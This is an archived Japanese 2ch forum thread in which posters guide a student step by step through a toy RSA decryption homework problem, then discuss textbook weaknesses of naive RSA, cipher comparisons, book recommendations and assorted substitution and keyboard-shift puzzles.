TOP カテ一覧 スレ一覧 100～終まで 2ch元 削除依頼
「500」「バスター厨」「相模原」粘着荒らし総合ｽﾚ
初心者に出来るセキュリティ対策
【ESET】 Internet Security その55
Immunet Protect - Free!
スパイウェアソフトJaneStyle
Macは感染しなくても保菌はしてる。
セキュリティ板にもIDや地域表示を導入しよう
いまだにセキュリティソフト入れてないヤツいる？
NTT西日本｜セキュリティ対策ツール
【負け組】ヤフーBB顧客情報流出(12+1)【DQN男】

ＲＳＡ暗号　解読　助けてください！！


1 ：02/07/17 ～ 最終レス ：2013/12/22
公開鍵（n,e)＝(221,77)のRSA暗号として作られた次の10進数の列を解読せよ
67.184.145.184.139.184.2.72.104.123.131.64.107
ただし、この列は原文文字をＡＳＣＩＩコードで表し、それを１文字ずつ暗号化
したことがわかっている。
どなたか助けてください。。大学のレポートででたんですが、調べてみても
わかりません。
僕なりに解読した結果
84.175.110.175.29.175.32.89.117.106.14.64.139
っとなったのですが、ＡＳＣＩＩコードに127以上ないことから
おかしいんですよね。。。１６進数でも８進数でもない数があるし。。
よろしくお願いいたします。

2 ：
>>1
R

3 ：
（　´_ゝ`）ﾌｰﾝ

4 ：
糞スレ乱立の中こういうのも良かろう。
どうやってそこにたどり着いたか書いてみ。

5 ：
http://www8.big.or.jp/~000/CyberSyndrome/rsa/
ここのＨＰのＲＳＡ暗号アップレットを使ってやってみました。
教科書の例はこれを使って解読できたのですが、問題が解けなくて・・。
どうかご教授ねがえませんか？？

6 ：
まずはレンストラ的に計算しろよ

RSA-129は知っているんだろ？？

7 ：
僕は全くの文系でありまして・・・。
情報産業の授業でたまたま、ＲＳＡ暗号だけやり、課題でだされてしまったんです。。
だから、まったくわからないんですよね。。
すいません。

8 ：
http://pgp.iijlab.net/crypt/rsa.html
↑基本
http://www.geocities.co.jp/SiliconValley/2008/cryptoJ.html
http://www.maitou.gr.jp/rsa/
ほい

9 ：
基本は数学の素因数分解ですな。

10 ：
（♯｀Д´）ｼｭｸﾀﾞｲﾊ　ｼﾞﾌﾞﾝﾃﾞﾔﾚ!!

11 ：
僕にはよんでもさっぱり・・・。
ちなみに一応全部のＨＰには以前にいきました。。

12 ：
＞8
ってかおまえわかってないだろ？？
だから答えてやれないんだろ？？

13 ：
age

14 ：
RSAはp,q二つの素数を用意する。
んでもってn = pq, φ(n)=(p-1)(q-1)だ。
p,qが充分に大きければ元のp, qを求めるのが困難なのだが、n = 221なら求められる。
p, q, φ(n)を求めれ。

続きはこれが出来てからだ。

15 ：
すいません。正直言ってできません。。
まったくもって文系なんで、すいません。
続きをお願いできないでしょうか？？
どうかよろしくお願いいたします。

16 ：
数学板行け！
文系で解こうとしていることが間違い

17 ：
文系ってか、常識だろ。

18 ：
ごめん。来ないで。
荒れるから。

19 ：
誰か答え教えてやってこのすれの削除依頼ってことでいんじゃねーの。
俺はわからんけど。。
２ちゃんでこんだけ丁寧にきいてるんだから、誰か答え教えてやれよ。
俺も文系だがこんなが常識だと思ってるやつはいねーよ！

20 ：
たしかに常識ではないと思うが
文系でもちゃんと独学すればできる（と思う）

21 ：
とりあえずできないなら他で単位をとることを考えろ。
それか先生に「文系なんで」って言い訳しろ。

22 ：
>>19
宿題は自分でやるべき。
自分でやることを放棄したうえクソスレ立てた１の為にそこまでしろと？

23 ：
あのーなんで教えていただけないんですか？？
答えがわかるなら教えてくれてもいいじゃないですか。。。
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
教えてくださいよ。。。
まーこんな事書いたら教えてくれないんだローけど・・・。

24 ：
さてここらへんでこのスレのリサイクル方でも考えようか

25 ：
>>1
ま、がんばれや

26 ：
>>23
>>22

27 ：
セブニレブの手巻き寿司鮭トロ（130円）は美味いぞ

28 ：
セブンイレブンだ鬱氏

29 ：
>>24
今話題の暗号について語る

30 ：
それはびっくら ！！
明日食ってみよ～

31 ：
電卓も持ってないのか? windowsのcalcでもいい。
かけて221になる素数を探せ。それがpとqだ。
p-1とq-1をかけたものがφ(n)だ。

32 ：
>>31
お前いい奴だな。
１は友達いなさそうだから友達になってあげたら？

33 ：
pが17ｑが13でφ(n)が192です。
これであってますでしょうか？？

34 ：
83.73.75.73

35 ：
＞14さん
この次はどのようにすれば・・？？
＞34さん
これってもしかして答えですか？？

36 ：
ageるのやめようよ

37 ：
もうすぐ日が変わる。
レポート終わらず（笑）

38 ：
訊ける友達おらず
2chでも冷たくされる。。。（藁）

39 ：
次は
1 = d * e mod φ(n)
となるようなdを探す。

40 ：
dが77ってでたんですけど・・・。
あってます？？

41 ：
ここで求めたdを使って
C ^ d mod n
を計算すりゃいい。Cは67.184.145.184.139.184.2.72.104.123.131.64.107を入れる。

42 ：
77はeだ。

43 ：
だから、いちいちめんどくさいんだから、C言語使って解けよ！
できないなら、N88BASICの互換ソフト使えばいいじゃん♪

44 ：
＞43
もってません・・・。
dは5ですか？？
＞41
この計算式の意味がわかりません。。C ^ d mod n


45 ：
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？

他人にモノを頼む奴の言うことか? >>1は暗号を解くよりマルチの親分に
なる方法を考えれ。


46 ：
d = 5正解
Cのd(5)乗をn(221)で割った余り。

47 ：
てめえの単位の事なんぞ興味あるか

48 ：
＞45
頼む態度でたのんでも教えてくれないでしょ？
そんな人がこんな子という権利はないと思うんですが。
＞46
これで出した答えがＡＳＣＩＩコードなんでしょうか？？
＞47
そんなこというあなたにも興味はありません。

49 ：
調子に乗ってまいりました

50 ：
>>1
煽りに乗るな、自分のレポートの答えを丸投げで貰おうとしたお前が甘い。

51 ：
>>46を計算すりゃ終了

52 ：
Tanaka`Yuji@0になりました。
あってますでしょうか？？

53 ：
"`"じゃ無くて" "(32 = スペース)

54 ：
あとはＯＫでしょうか？？
割り切れないから32になるんですよね。。間違えました。

55 ：
じれったい。ほんとに馬鹿ばっかだね！！。

56 ：
正解

57 ：
答えがわかれば礼も言わずに立ち去りか。
利用されただけだったね・・・>>14=39=46=50=53=56
まぁでもその位は覚悟の上で教えたんだろうけど。

58 ：
てか
単発糞スレにマジレスするのって流行ってんの？
なんでマジレスしてんだこいつら・・・とか思ったんだけど

59 ：
ありがとうございました！！
14さんには本当に感謝しています。
段階ごとに教えていただき、何とか回答をだすことができました。
本当にどうもありがとうございました！！

60 ：
例を言ったんだから「どういたしまして」くらい言え！

61 ：
久しぶりに本物のキチガイを見た気がする

62 ：
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？
あなた方が教えてくれるだけで単位がとれるかもしれないんですよ？


63 ：
ほほほほ

64 ：
こんなのが単位を取ってる大学ってどこか知りたいな。

65 ：
だって、漏れが出したレポートだもの。といってみるテスト。 (w

66 ：
>>65
まじかよ！

67 ：
test

68 ：
>>65
これでワザと間違った答えを教えていたら笑えたんだが…。

69 ：
それにしてもずいぶんくだらないレポートをかかされてるな。

70 ：
64ビット暗号、分散コンピューティングでついに解読
http://www.hotwired.co.jp/news/news/Technology/story/20021008301.html

71 ：
>>1
ブルートフォースアタックするプログラムかいて走らせるのが手っ取り早い（ｗ
ブルートフォースの意味がわからないという質問は却下な。

72 ：
>>71
おせえよ

73 ：
>>72
丸1日かけてレスかよﾌﾟｯ遅えな俺を見ろよお前宛てのレスに1日かけてないぞ勝ったな悔しがれよオラ

74 ：
>>73
そんなにも頻繁に来るなんて２ｃｈ中毒じゃん

75 ：
（＾＾）

76 ：
（＾＾）

77 ：
1050=&H41A
ですか？

78 ：
数字のままで入れて下さい

79 ：
はい

80 ：
正解だったら　先生が
e　と　ｎ　を　晒して　見てください
（比較的小さめの）

81 ：
PGPってすごく良いの？
http://pc.2ch.sc/test/read.cgi/sec/1001427071/829-949
http://pc.2ch.sc/test/read.cgi/sec/1001427071/

82 ：
自作自演みっともない。

83 ：
う～ん
一致してないですね
このトリップになるはずなんですが

復号はc^d　Mod　n　です

84 ：
単質、遠い過去に語りかけている&自作自演なので
■■■■■■■■■■■■ 終了 ■■■■■■■■■■■■

85 ：
素数1素数2
2953
N＝1537
S＝1456
E＝11
ｄ＝1059
貰ったC416
ｃ^d mod n1050
1050
こうだったんですが・・・・・


86 ：
29　　と　　５３

87 ：
>>85
計算間違いっぽいですね
もう一度やってみて下さい

88 ：
最後の複合のデバクういんど
I Y X = 1040 5778 1167
I Y X = 1041 10503 1281
I Y X = 1042 11529 770
I Y X = 1043 6930 782
I Y X = 1044 7038 890
I Y X = 1045 8010 325
I Y X = 1046 2925 1388
I Y X = 1047 12492 196
I Y X = 1048 1764 227
I Y X = 1049 2043 506
I Y X = 1050 4554 1480
I Y X = 1051 13320 1024
I Y X = 1052 9216 1531
I Y X = 1053 13779 1483
I Y X = 1054 13347 1051
I Y X = 1055 9459 237
I Y X = 1056 2133 596
I Y X = 1057 5364 753
I Y X = 1058 6777 629
I Y X = 1059 5661 1050
余り＝ 1050

89 ：
前　つくった　これで
=ABEKIBMODC(416,1059,1537)＜＜＜＜＜これが入力値です
Public Function ABEKIBMODC(入力C, 入力D, 入力N) As Variant
Debug.Print "開始ーーーーーーー"
Dim A, B, C
Dim i, X, Y
A = 入力C: B = 入力D: C = 入力N
'A=9 B=47 C=21
Y = 0
X = A ^ 0 Mod C
Y = X
For i = 1 To B

Y = X * 9
X = Y Mod C


Debug.Print "I Y X ="; i, Y, X

Next i

Debug.Print "余り＝", X
ABEKIBMODC = X
End Function


90 ：
わかりました
Y＝X＊9
は、
Y＝X＊A
でした

91 ：
Y X = 1047 2496 959
I Y X = 1048 398944 861
I Y X = 1049 358176 55
I Y X = 1050 22880 1362
I Y X = 1051 566592 976
I Y X = 1052 406016 248
I Y X = 1053 103168 189
I Y X = 1054 78624 237
I Y X = 1055 98592 224
I Y X = 1056 93184 964
I Y X = 1057 401024 1404
I Y X = 1058 584064 4
I Y X = 1059 1664 127
余り＝ 127

92 ：
>>91
おめでとう！
では
e=5
n=5123
cを晒して下さい

93 ：
ありがとう　ございます
ｃは　また　明日以降に　させて　ください
ここに　晒して　おきます
最近　寝不足なんです・・・


94 ：
>>93
お疲れ様です
あなたのおかげでPGPを使えるようになりました

95 ：

>>94の発言は　漏れでは　ありません

>>93は　漏れです。
続きは　後日　また　遊んでください。
（よかった・・　晒してないトリップつけてて）


96 ：
>>92
暗号その１　C＝（2265）
これを解読した、10進数を、４バイトの１６進数に変換して、
#をつけて　トリップにしてみてください

97 ：
>>96
m<nの条件でcを作って下さい

98 ：
>>97
暗号　ｃ=　3752
復元した10進数字のままで　トリップつけてください

99 ：
>>98
つけました

100 ：
2者間でやるならよそでやってくれ。
固定ハンドルが占用している・閉鎖的な使用法を目的としている(略)
原則として全て削除または移動対象にします。
http://www.2ch.sc/guide/adv.html#saku_guide

101 ：
せめてsageでやれよ。

102 ：
>>99
名前： ◆erXcqRpNX6 投稿日：03/04/03 23:04
あってます！
やった
これで、送るほうも
受ける方も　できました！


103 ：
>>94
ちなみに　これは　先生の　発言　ですか？

104 ：
>>102
おめでとうございます！
次回は大きなnでやりましょう
受け渡ししたパスをPGPのpassとして使えば暗号文のやり取りが出来ますね

105 ：
>>103
そうです、向こうのスレで勉強しました
PGPだと長文を使って暗号のやり取りも出来ますね

106 ：
エクセルでは　面倒（大きな数値を使い、10-16－ASCII変換などのプログラムをするのが）
なので、PGPとやらをDLしようと　おもいますが・・
ここ
ttp://pgp.iijlab.net/
から　どれか貰ってきたら　いいんですかね？

107 ：
>>106
FTP ミラー・サービスから拾うのがいいと思います
PGP用のパスをRSA暗号でやり取りするのがいいでしょうね

108 ：
どれを
どうやって
もらえば良いのかよくわかりません。。。
ちょっと　HPみて　回ります。
また、後日にします
こんどは　数日後になるかも知れません（２ちゃんは来るけど）

109 ：
123

110 ：
こっち
PGPってすごく良いの？
http://pc.2ch.sc/test/read.cgi/sec/1001427071/
に　復活です・・・

111 ：
先生！
こっちに　なりました
PGPってすごく良いの？2
http://pc.2ch.sc/test/read.cgi/sec/1049559446/


112 ：
>>111
レス付けておきました

113 ：
（＾＾）

114 ：
　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

115 ：
━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―

116 ：

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

117 ：
RC2 128bitと3DESでは
どちらが堅いとされているでしょうか？

118 ：
　　　 　∧＿∧　 ∧＿∧
ﾋﾟｭ.ｰ　（　 ・３・） (　　＾＾ ） ＜これからも僕たちを応援して下さいね（＾＾）。
　　＝〔~∪￣￣￣∪￣￣〕
　　＝ ◎――――――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉&ぼるじょあ

119 ：
>>117
論文読んでたら、どっちもまだまだ実用性あるようなことが書いてあった。
どっちもまだしばらくは大丈夫みたい。(特にRC2 128bit)

120 ：
>>117
おまけ。
米国の新標準暗号AESがヤバイという情報が昨秋流れたが、取り敢えずは
大丈夫ということで落ち着いたらしい。しかし、信頼は大きく揺らいだ。
正式決定後数年でこんなことになるとは。

121 ：
　　　 (⌒V⌒)
　　　│ ＾ ＾ │＜これからも僕を応援して下さいね（＾＾）。
　　⊂|　　　　|つ
　　　（＿）（＿）　　　　　　　　　　　　　　　　　　　　　　山崎パン

122 ：
>>119
RC2は128bitでも利用は望ましくない。効率的な攻撃法が発見済み。
3DESは利用方法さえ適切なら、まだしばらくは大丈夫とされている。
Camelliaが普及してるといいんだが、普及はいまいち進んでない。
最強との評判なんだが。
残念なこと。

123 ：
ねこ

124 ：
素人向けの暗号本って何がよい？

125 ：
>>124
「暗号技術大全」難しい数学もなく一番判りやすい。
http://www.amazon.co.jp/exec/obidos/ASIN/4797319119/

126 ：
>>119
誰の論文？

127 ：
そういえば、チューリング賞とったねー。

128 ：
>>85
＞N＝1537
＞E＝11
＞ｄ＝1059
このままでいいの?
eとdの値は逆じゃないの?

129 ：
Rｰ

130 ：
>>128 かすれレスか

131 ：
32,563,607,022,451
も前らの機械、この素因数分解何秒でできる？

132 ：
>>131
プログラムは何使ってもいいのか？

133 ：
３人が公開鍵として同じe=3を用いていて（nはそれぞれ別）、
あるユーザAが３人に同じ平文ｍを暗号化して送った場合ｍが解読されるというのですが
どんな計算で求められるのでしょうか？どんなアプローチで攻撃を行えば
ｍまたはｄが出てくるのか分かりません・・・どなたかお教えください。

134 ：
> どんな計算で求められるのでしょうか？どんなアプローチで攻撃を行えば
> ｍまたはｄが出てくるのか分かりません・・・どなたかお教えください。
三つの暗号文 C_i = m^3 mod n_i を CRT で Z_(Πn_i) に拡大して
やり、その三乗根を計算 (∀i m < n_i であれば可)。
ただし、現実の RSA 実装はこの方法を適用できないように工夫され
てるから、あくまでも naive RSA に対する話ね。

135 ：
>>134
naiveって？

136 ：
> naiveって？
『元祖論文 (もしくはほとんどの教科書) に書かれてるアルゴリズ
ムをそのままインプリした RSA』って程度の意味。
>>133 の件以外にもいくつか弱点がある (複数ユーザで共通の n を
用いる場合とか) ので、普通使われることはない。


137 ：
>>136本当にそうだといいんだけど…。実際にはかなりの実装がnaive RSAな気がする。っていうかnaive RSAなんての知ってるほど詳しいプログラマなら、RSAなんぞ使わずに、素直に(naiveじゃない)楕円曲線暗号使う罠。

138 ：
うお!!改行が消えた。
Linuxからだとたまに起こる…。
スマソ。

139 ：
>>137
＞実際にはかなりの実装がnaive RSAな気がする。
136の人じゃないけど，ありえないと思う．つか大昔から何度も何度も言われてきてることだし．
似たような話でRSA署名方式が
署名生成：S(M) = M^d mod N
署名検証：σ^e == M mod N ?
だから，S(M_{1}) * S(M_{2}) mod N を計算すれば，秘密鍵 d なしで
文書 M_{1} * M_{2} の署名S(M_{1} * M_{2})が生成できちゃうってのがありますよね．

140 ：
RSAのお勉強で表計算で実験してて気がついたのだけど最初に選ぶ二つの素数は
なんでもいいってもんじゃないような気がするのだけど・・・
たとえば17と7を選ぶとE*D=(p-1 )*(q-1)+1をみたせなくなるような・・・
E*D=97で97は素数だから　あれっ！鍵が造れないヨ・・・
そういうもんなのですか？

141 ：
> 二つの素数はなんでもいいってもんじゃないような気がするのだけど・・・
たしかにそれはそうなんだが、
> たとえば17と7を選ぶとE*D=(p-1 )*(q-1)+1をみたせなくなるような・・・
EとDの定義が間違ってるんじゃ問題以前。
定義を満たす E と D は必ず作れるが、E=D で共通鍵暗号になっちゃ
うってのが小さい数字で試す際の問題としてはありがち。
まぁ、いまなら
暗号数学について語ろう
http://science3.2ch.sc/test/read.cgi/math/1088146349/
でやるべき話だろう。

142 ：
あ～っ！分かりました！
何乗かしていくと元に戻ることが周期的にあるわけだから
E*D=n*(p-1 )*(q-1)+1こうなるわけでそれを
E*D mod (p-1 )*(q-1)=1と表記されることが多いわけですね？
これならEとDは必ずありそうです。
だけどEは(p-1 )*(q-1)と互いに素でなければDの存在が保証されない
というのがなんでそうなのかよくわからない・・・・orz
暗号数学スレ見たけどあまりにもみなさん賢そうで厨房以下の私は
とても入れません。

143 ：
> E*D mod (p-1 )*(q-1)=1と表記されることが多いわけですね？
普通は E*D ≡ 1 (mod (p-1)*(q-1)) てな表記かな。
> だけどEは(p-1 )*(q-1)と互いに素でなければDの存在が保証されない
『存在が保証されない』んじゃなくて『存在しない』なんだが、まぁ
それはともかく。
整数 A と B があるとき、A・x + B・y という形で表すことができ
る最小の正整数は gcd(A,B) に等しい (ただし、xと y も整数ね)、
という定理がある (証明略)。で、その A に E を、B に (p-1)*(q-1)
を代入して mod (p-1)*(q-1) を取れば、E*D≡1を満たし得るのは
gcd(E,(p-1)*(q-1)) = 1 のときのみということがわかる。
> 暗号数学スレ見たけどあまりにもみなさん賢そうで厨房以下の私は
> とても入れません。
そんなことは全然ないと思うんだが、まぁ、行きたくないのを無理
にとは言わん。

144 ：
hoshu

145 ：
>>131

22259 * 11071 * 17 * 11 * 7 * 5 * 2 + 1 = 32,563,607,022,451
であってます？
17までは紙と鉛筆で22259*11071はパソコンで<1sでした

146 ：
>>145 への自己レス
今度こそ間違いないはず
80933 * 42577 * 7 * 5 * 3^3 = 3256360702245
[2002.5ms]

147 ：
RSAか…。
何で今更RSAなんか使うんだろ?
楕円曲線ElGamal暗号の方が暗号化復号化計算が高速。
楕円曲線ElGamal暗号じゃプログラムサイズが大き過ぎるとか
予備知識が必要で実装が難しいってなら普通のElGamalを使えばいい。
普通のElGamalを理解するのはRSAを理解するのと同じくらいの難しさ。
RSAを応用して色々な事ができるけど、
単に暗号として使うならRSAなんか使う必要が感じられない。

148 ：
少しスレの趣旨からずれてた。スマソ。
RSA(というか暗号一般)を知りたい人には
個人的にはスティンソンの本がオススメ。
他の本は概略的にしか書いてないのに対し
この本だけは基礎から順に説明してくれてる。
…まぁ8000円近くするのが玉にキズなんだけど。

149 ：
>>147
今まで使われてきたっていう安心感が強いなRSAは。
楕円曲線暗号とか実際に実用化して何年も使われてみないとなんともいえん。

150 ：
ほしゅ

151 ：
ICカードなどでは楕円暗号は実装されてますよね
これからは楕円が主流になるんでしょうか

152 ：
>>151
楕円は暗号文・署名文のビット長がRSAのそれの15%程度。
ICカードみたいに記憶容量が限られてる場所では
楕円がかなり有利。

153 ：
暗号数学について語ろう。ROUND 2
http://science3.2ch.sc/test/read.cgi/math/1110265282/l50

154 ：


155 ：
書き込み少ないなぁ…。

156 ：
たしかに。

157 ：
hoshu

158 ：
保守する意味があるのか？ｗ

159 ：
確かに。

160 ：
まぁ、なんつーか、
セキュリティは暗号まともに知らない人がやってるって事の
証明みたいなスレだな…。

161 ：
そこでなりすましですよ。

162 ：
>>160
こらこら、誰もが知っていながらあえて誰も言わなかった真実を言うな。

163 ：
「セキュア」と主張してながら、
暗号の専門家から見れば全くセキュアじゃないシステムの多いこと多いこと…。
しかし暗号プロトコルだけじゃ金にならんというジレンマ…。

164 ：
これだけレスがないのに、この板の一番下ってわけじゃないんだな。

165 ：
16543,143？？
まったく知識がなくて解けません。どなたか教えてください。

166 ：
>>165
とりあえず素数11と13が元だという事ですね。がんばってください。

167 ：
スンマソン間違ってますた
　７１×２３３＝１６５４３　ですた～

168 ：
素因数分解→逆数→復号。

169 ：
>>165
それだけじゃなんの事か分からん。
もちっとちゃんと問題文書け。

170 ：
素因数とかは関係ないとは思うんですが、英語の知識がないと解けないと言われました。

171 ：
退学してニート

172 ：
>>170
ってか、それならRSA関係ないじゃん。

173 ：
わからーん。

174 ：
ってか暗号研究者って、そういう暗号の解読が専門なわけじゃないんだよね。

175 ：
そう。

176 ：
暗号数学について語ろう ROUND 2。
http://science4.2ch.sc/test/read.cgi/math/1110265282

177 ：
レス少な。

178 ：
真面目な話、これだけレス少なくて落ちないってのもすごいな。

179 ：
誰か話題。

180 ：
ＲＳＡ暗号において、ｐ＝５、ｑ＝１１、ｅ＝２７としたとき、復号鍵ｄを求
めよ。また、平文１９に対する暗号文を求めよ。誰か答え教えてください

181 ：
e=3の時は、
暗号鍵　20n + 7
19の暗号化データは39
e=27?
そんな数字パフォーマンス悪いから採用しない。
とでも答えておけば。

182 ：
>>180
d=23
暗号文24

183 ：
y m c x b m k m c d b p d r q o n q m p u m c d b d e r f t k m q n c x t x u m
o t t k . m j m o r d k m o n f d c y m c x b m k d c q x d c e q p n x u u n q
u d x t w w p u m c x u m c d x n t c d b d c x u m k n q s b d r m e d c e d x
x u m s d q q n c y t w x u m w b d y . y m c x b m k m c q u t g b e c t x p d
b l q d e e p n f u m e n c z m x p m m c x p t b d e n m q .
問１
ｱﾙﾌｧﾍﾞｯﾄ度数分布をもとにして、次の換字法による暗号文を解読して、
この暗号文は見やすいように５字ごとに区切ってあるが、５字で１語になっているわけではない。
上の紙がぼろぼろでみにくいので、cとeを見違えているかもしれない。

184 ：
>>183
これ同じだね
ttp://cgi.biwa.ne.jp/~aki-ina/wforum/wforum.cgi?no=1421&reno=1419&oya=1419&mode=msg_view
元ネタはなんですか？

185 ：
>>183
次の換字法ってなんだ？

186 ：
K2とかHIME-Rとかいろいろ話題になってますね

187 ：
保守

188 ：
暗号解読に困っています！誰か解ける人いませんか！？
血すら道　素茅野荷から蟹　皆野良蟹課なのに　辛味に価値の……
↑これが暗号です。人の名前になるらしいのですが…。

189 ：
ちすらみち・・・　こういう打鍵は昔SYSTEMをトントカイモと読んだあれに
似てますね（カナシフト状態でアルファベットを打ったときみたい）

190 ：
DES解読ソフトないかなー

191 ：
arona cakitoti nukjbsitituki tonitak
ちすらみち　そかやのにからかに　みなのまことにかにかなのに　からみにかちの
↑暗号文をひらがなに変換してみました。他に読み方ってないですか？
　189さんの方法で読むと、一番上の文章になりました。
　うーん。解らない……。

192 ：
http://www.peps.jp/u/book.php?id=saviour&conse=54
↑のパスが分からないんですが、誰か解読出来ないですか??

193 ：
>>188
ﾄｶｵｵ･・ｹ､ﾋ､ﾊ､・ｱ､ﾉｲｱ､ｿ､陦｣
｡ﾖｷ・ｹ､鯣ｻ｡｡ﾁﾇｳﾌ鉸ﾙ､ｫ､魑ｪ｡｡ｳｧﾌ﨩ﾉｳｪｲﾝ､ﾊ､ﾎ､ﾋ｡｡ｿﾉﾌ｣､ﾋｲﾁﾃﾍ､ﾎ｡ﾗ
ｭ｡｡｢､ﾞ､ｺ､ﾏｾ蠏ｭﾊｸｾﾏ､ﾒ､鬢ｬ､ﾊ､ﾋﾊﾑｴｹ
､ﾁ､ｹ､鬢ﾟ､ﾁ｡｡､ｹ､ﾁ､ﾎ､ﾋ､ｫ､鬢ｫ､ﾋ｡｡､ﾟ､ﾊ､ﾎ､鬢ｫ､ﾋ､ｫ､ﾊ､ﾎ､ﾋ｡｡､ｫ､鬢ﾟ､ﾋ､ｫ､ﾁ､ﾎ
ｭ｢｡｢ｼ｡､ﾋｭ｡､ﾎ､ﾒ､鬢ｬ､ﾊ､ﾇｸｰﾊﾑｴｹ
arona ｡｡ raki toti ｡｡｡｡｡｡｡｡nukotituki ｡｡｡｡｡｡｡｡｡｡｡｡tonitak
ｭ｣｡｢ｭ｢､ﾇﾊﾑｴｹ､ｵ､・ｿﾊｸｻ妤ﾕ､ｫ､鬣悅ｼ･ﾞｻ憘ﾉ､ﾟ
､ｫ､ﾁ､ﾎ､ﾁ｡｡､ｯ､ﾁ､ﾈ､ｯ｡｡､ﾋ､ﾈ､ﾁ､ｫ｡｡､鬢ﾎ､・
ｭ､｡｢ｭ｣､ﾎ､ﾒ､鬢ｬ､ﾊ､ﾇｸｰﾊﾑｴｹ
taka hash isat｡｡ oko
ｭ･｡｢ｭ､､悅ｼ･ﾞｻ憘ﾉ､ﾟ
･ｿ･ｫ･ﾏ･ｷ･ｵ･ﾈ･ｳ

194 ：
てすと

195 ：
>>188
超亀レスになるけど解けたよ。
「血すら道　素茅野荷から蟹　皆野良蟹課なのに　辛味に価値の」
①、まずは上記文章をひらがなに変換
ちすらみち　すちのにからかに　みなのらかにかなのに　からみにかちの
②、次に①のひらがなを打鍵変換
arona 　 raki toti 　　　　nukotituki 　　　　　　tonitak
③、②で変換された文字を逆からローマ字読み
かちのち　くちとく　にとちか　らのら
④、③のひらがなを打鍵変換
taka hash isat　 oko
⑤、④をローマ字読み
タカハシサトコ

196 ：
>>1のってｾｷｭﾘﾃｨに関係あるの？

197 ：
http://herb.h.kobe-u.ac.jp/RSA.html

198 ：
RSA暗号で具体的な計算を行え。
P=3　と　q=5　について公開鍵と秘密鍵を求め、平分123を暗号化せよ。
しの暗号文を複号して元の文に一致することを示せ。

大学のレポート課題なんですがまったくわからなくて。
助けてください。よろしくお願いします。

199 ：
>>198
>>197でわからなかったら、また質問しなさい。


200 ：
この暗号を解読してください
よけせややうゅし(←)やけいかやにけぐすやか(や↓)なのけょじんやもこけはきせけ(け↓)やうほや

201 ：
だれか
KAT-TUN名古屋
5472684113548347
7426826374526248
↑素晴らしく暗号!
頭フル回転させれば
すぐ説けるよ(^ω^)


202 ：
　３１、６、２（４７でもOK）、１４、５０、７
　１９゛、２（小さい方、４７もOK）１３、６゛、２（４７）、１
２作目、ヒントは日本人が使っている言葉全部だ
ゲームの題名です

203 ：
よせうゅし(←)いかにぐすか(↓)なのょじんもこはきせ(↓)うほ

204 ：
ttp://www.greg.jp/~greg/technical/ImplementingRSA.html
ここでRSAを勉強中です。
中国人剰余定理について質問
素数 p, q
p = 3696027661
q = 6256800863 とします、でHPの式 u = q-1 mod p
これの q マイナス1乗 は 1/6256800863 で 0.00000000015982608714839643123224.....
と小数になるんですけど u の求め方がわかりません。
どのように計算するんでしょうか？

205 ：
整数論の(ﾏｲﾅｽ１乗)表記は、いわゆる逆数とは違うのでは・・・

206 ：
u は拡張ユークリッドで求めるようですが上手く復号できないです。orz

207 ：
>>206
拡張ユークリッドの互除法ね
　よくmodinvという名前の関数として出てくるので、そのへんのキーワードを検索してみては・・・

208 ：
>>㌧
拡張ユークリッドの互除法で秘密鍵 d を求めて暗号化、復号は上手く出来ました。
でも中国人は別の方法を発見したのでそちらを使って成功です。
処理速度が1/3になったけど、まだ遅くて、、、

209 ：
UBASIC

210 ：
ＴＳＧＸＶＢ
ＧＸＢ２ＴＳ
ＢＺＶＦＡＲ
ＡＦＺＣＢ２
ＺＦＢ２ＣＡ
この5個の暗号を解いてくださいお願いします

211 ：
暗号解読のやり方がわかりません

212 ：
Hi! You are the best thing to happen in Regency in years. Keep writing!!
My poste code natla934567funn

213 ：
うわぁｗ

214 ：
てまたき
あちがわ

メールでこのような文で来たのですがよく意味がわかりません。暗号ではないかと
思うのでよろしくお願いします

215 ：
y m c x b m k m c d b p d r q o n q m p u m c d b d e r f t k m q n c x t x u m
o t t k . m j m o r d k m o n f d c y m c x b m k d c q x d c e q p n x u u n q
u d x t w w p u m c x u m c d x n t c d b d c x u m k n q s b d r m e d c e d x
x u m s d q q n c y t w x u m w b d y . y m c x b m k m c q u t g b e c t x p d
b l q d e e p n f u m e n c z m x p m m c x p t b d e n m q .
問１
ｱﾙﾌｧﾍﾞｯﾄ度数分布をもとにして、次の換字式暗号による暗号文を解読して、
この暗号文は見やすいように５字ごとに区切ってあるが、５字で１語になっているわけではない。
上の紙がぼろぼろでみにくいので、cとeを見違えているかもしれない。
☆　ゼミの採用面接の問題です。

216 ：

　　２４８３
　　５２９３
　Ａ５２５１
　　２９９２
　Ａ２７７２
　１０２４７
　Ａ５９９１

これの解読をよろしくお願いします

217 ：
64BITの変換で①$00*8と③$20*8のﾃﾞｰﾀｰ列がある。
これが①→②、③→④に変換されている。どんな変換方式か？
変換Ⅰ型とⅡ型は同じ変換方式でパラメーターのみ違う
解析結果
⑥～10は又別の変換方式で②④の一致数と⑦⑨の一致数は同じ
64BIT変換Ⅰ型 BIT合計
①元データー 0000000000000000000000000000000000000000000000000000000000000000 0
②変換後 1100011110001101011011001111000111101000100100000101111011011110 35
③元データー 0010000000100000001000000010000000100000001000000010000000100000 8
④変換後 0001100110000011011101100100111101010011000100101101101010010010 30
⑤②④一致BIT 0010000111110001111001010100000101000100011111010111101110110011 33

64BIT変換Ⅱ型
⑥元データー 0000000000000000000000000000000000000000000000000000000000000000 0
⑦変換後 1100110100100001000100000100010000010111010011111011110010011000 27
⑧元データー 0010000000100000001000000010000000100000001000000010000000100000 8
